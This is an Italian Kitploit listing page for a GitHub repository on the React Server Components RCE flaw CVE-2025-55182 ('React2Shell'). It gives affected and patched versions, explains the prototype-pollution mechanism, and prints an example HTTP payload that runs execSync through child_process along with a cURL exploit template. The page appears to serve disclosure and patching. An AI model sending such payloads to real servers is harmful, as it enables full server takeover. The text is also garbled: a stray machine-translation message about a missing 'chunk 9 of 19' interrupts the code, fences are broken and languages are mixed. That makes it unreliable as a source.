Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182 — "Una singola richiesta HTTP appositamente predisposta può compromettere l'intero server." — React Security Team, Dic 2025 | Kitploit
Strumenti/GitHubGitHub/logesh-git001/cve-2025-55182
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebThreat IntelligenceApprendimento e FormazioneRisposta agli Incidenti
GitHublogesh-git001/cve-2025-55182

CVE-2025-55182

"Una singola richiesta HTTP appositamente predisposta può compromettere l'intero server." — React Security Team, Dic 2025

Vedi Repository
2296 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 — React2Shell

Esecuzione remota di codice critica nei React Server Components.

Gravità: CRITICA | CVSS v3.1: 10.0 (Massimo) | Stato: Sfruttata attivamente


Che cos'è?

React2Shell è una vulnerabilità di sicurezza critica nei React Server Components (RSC) — una funzionalità moderna che consente a React di eseguire parti della tua applicazione web sul server invece che nel browser.

Il difetto consente a qualsiasi utente malintenzionato su internet — senza login, senza accessi speciali e senza conoscenze pregresse del tuo sistema — di inviare una singola richiesta HTTP dannosa al tuo server ed eseguire qualsiasi codice desideri su di esso. Ciò significa che può rubare dati, installare malware, bloccare i tuoi file con un ransomware o assumere il pieno controllo del tuo server.

Pensala così: il tuo server ha una porta che doveva aprirsi solo per visitatori fidati, ma si scopre che chiunque può entrare — semplicemente bussando in un modo specifico.


Riferimento rapido

ProprietàValore
ID CVECVE-2025-55182 (chiamata anche React2Shell)
GravitàCritica — Esecuzione remota di codice (RCE)
Punteggio CVSS v3.110.0 / 10.0 (massimo possibile)
Punteggio CVSS v49.3 / 10.0
Tipo di debolezzaCWE-502 — Deserializzazione di dati non attendibili
Metodo di attaccoSingola richiesta HTTP POST, nessuna autenticazione richiesta
Scoperta daLachlan Davidson (ricercatore di sicurezza)
Divulgata3 dicembre 2025
Stato dell'exploitExploit pubblico disponibile — usato attivamente dagli attaccanti
CVE correlataCVE-2025-66478 (Next.js — duplicato confermato)

Chi è interessato?

Versioni di React vulnerabili```

react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0

### Framework interessati

| Framework / Strumento     | Ambito interessato                                  |
|---------------------------|-----------------------------------------------------|
| **Next.js 15.x – 16.x**   | Solo App Router — Pages Router **NON** è interessato |
| **React Router RSC**      | Solo canale unstable / preview                      |
| **Redwood SDK**           | Solo modalità RSC                                   |
| **Waku**                  | Tutte le versioni con RSC abilitato                 |
| **Expo**                  | Solo build preview RSC                              |
| **Vite RSC Plugin**       | Tutte le integrazioni                               |
| **Parcel RSC Plugin**     | Tutte le integrazioni                               |
| **Qualsiasi configurazione RSC personalizzata** | Qualsiasi server che utilizza la deserializzazione RSC Flight |

> ⚠️ **Importante:** Sei vulnerabile anche se non utilizzi esplicitamente Server Actions o Server Functions — purché React Server Components siano abilitati nella tua app.

> ✅ **Non interessato:** App che utilizzano solo Pages Router, o app senza React lato server.

---

## Perché è così pericoloso?

Tre motivi rendono React2Shell eccezionalmente grave:

1. **Nessuna autenticazione richiesta.** Chiunque su internet può tentare questo attacco. Nessun account, nessun token, nessun accesso precedente necessario.

2. **Funziona su installazioni predefinite.** Un'app Next.js appena creata con `create-next-app` — con zero configurazione personalizzata — è immediatamente sfruttabile. Gli sviluppatori non devono fare nulla di sbagliato per essere vulnerabili.

3. **Affidabilità quasi al 100%.** I ricercatori di sicurezza hanno confermato che l'exploit funziona quasi sempre contro server non patchati.

---

## Come funziona l'attacco?

### La causa principale — in parole semplici

Quando il tuo server React riceve dati da un client, li elabora (deserializza) per capire cosa fare dopo. Il problema è che React **non verifica mai se quei dati sono sicuri o legittimi** — si fida ciecamente di qualunque cosa arrivi.

Un attaccante sfrutta questo inviando dati appositamente costruiti che dirottano il comportamento interno di JavaScript sul server, consentendogli infine di iniettare ed eseguire il proprio codice.

### Spiegazione tecnica

L'exploit utilizza una tecnica chiamata **prototype pollution**:

1. L'attaccante invia una richiesta HTTP POST appositamente costruita a qualsiasi endpoint RSC (non è necessaria alcuna URL speciale).
2. Il parser del React Flight Protocol elabora il payload senza alcuna validazione strutturale.
3. Il payload dannoso inquina `Object.prototype.then` — un oggetto JavaScript fondamentale da cui tutti gli altri oggetti ereditano.
4. Ciò concede all'attaccante l'accesso al costruttore `Function` di JavaScript.
5. L'attaccante utilizza il costruttore `Function` per eseguire codice arbitrario come processo server Node.js.```
Step 1 — Attacker sends crafted HTTP POST
         ↓
Step 2 — React deserializes payload blindly
         ↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
         ↓
Step 4 — Function constructor is accessed
         ↓
Step 5 — Attacker's code runs on the server
         ↓
Step 6 — Attacker has full server control

Illustrazione Semplificata del Codice```js

// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;

// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight);  // Attack happens here

// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);

}

### Come appare l'attacco```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain

{
  "status": "resolved_model",
  "$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
  "_formData.get": "$1:constructor:constructor"
}

The input chunk appears to be empty. Please provide the source text for chunk 9 of 19 so I can translate it.```bash

Simplified cURL version of the exploit

curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'

> 🚫 **Avviso legale:** Non utilizzare questo strumento contro sistemi che non possiedi o per cui non hai un'autorizzazione scritta esplicita al test.

---

## Versioni corrette — Applica subito la patch

### Pacchetti React RSC

| Pacchetto                    | Versione con patch           |
|------------------------------|------------------------------|
| `react-server-dom-webpack`   | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel`    | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |

> 💡 **Consiglio:** Aggiorna alla **19.2.3** per correggere anche le vulnerabilità successive correlate (CVE-2025-55183, CVE-2025-55184, CVE-2025-67779).

### Next.js

| La tua versione | Aggiorna a  |
|-----------------|-------------|
| 13.x / 14.x     | **14.2.35** |
| 15.0.x          | **15.0.5**  |
| 15.1.x          | **15.1.9**  |
| 15.2.x          | **15.2.6**  |
| 15.3.x          | **15.3.6**  |
| 15.4.x          | **15.4.8**  |
| 15.5.x          | **15.5.7**  |
| 16.0.x          | **16.0.7**  |

---

## Come proteggerti — Passo dopo passo

Segui questi passaggi **in ordine**. I passaggi 1 e 2 sono obbligatori. Gli altri aggiungono ulteriori livelli di difesa.
Scarica lo strumento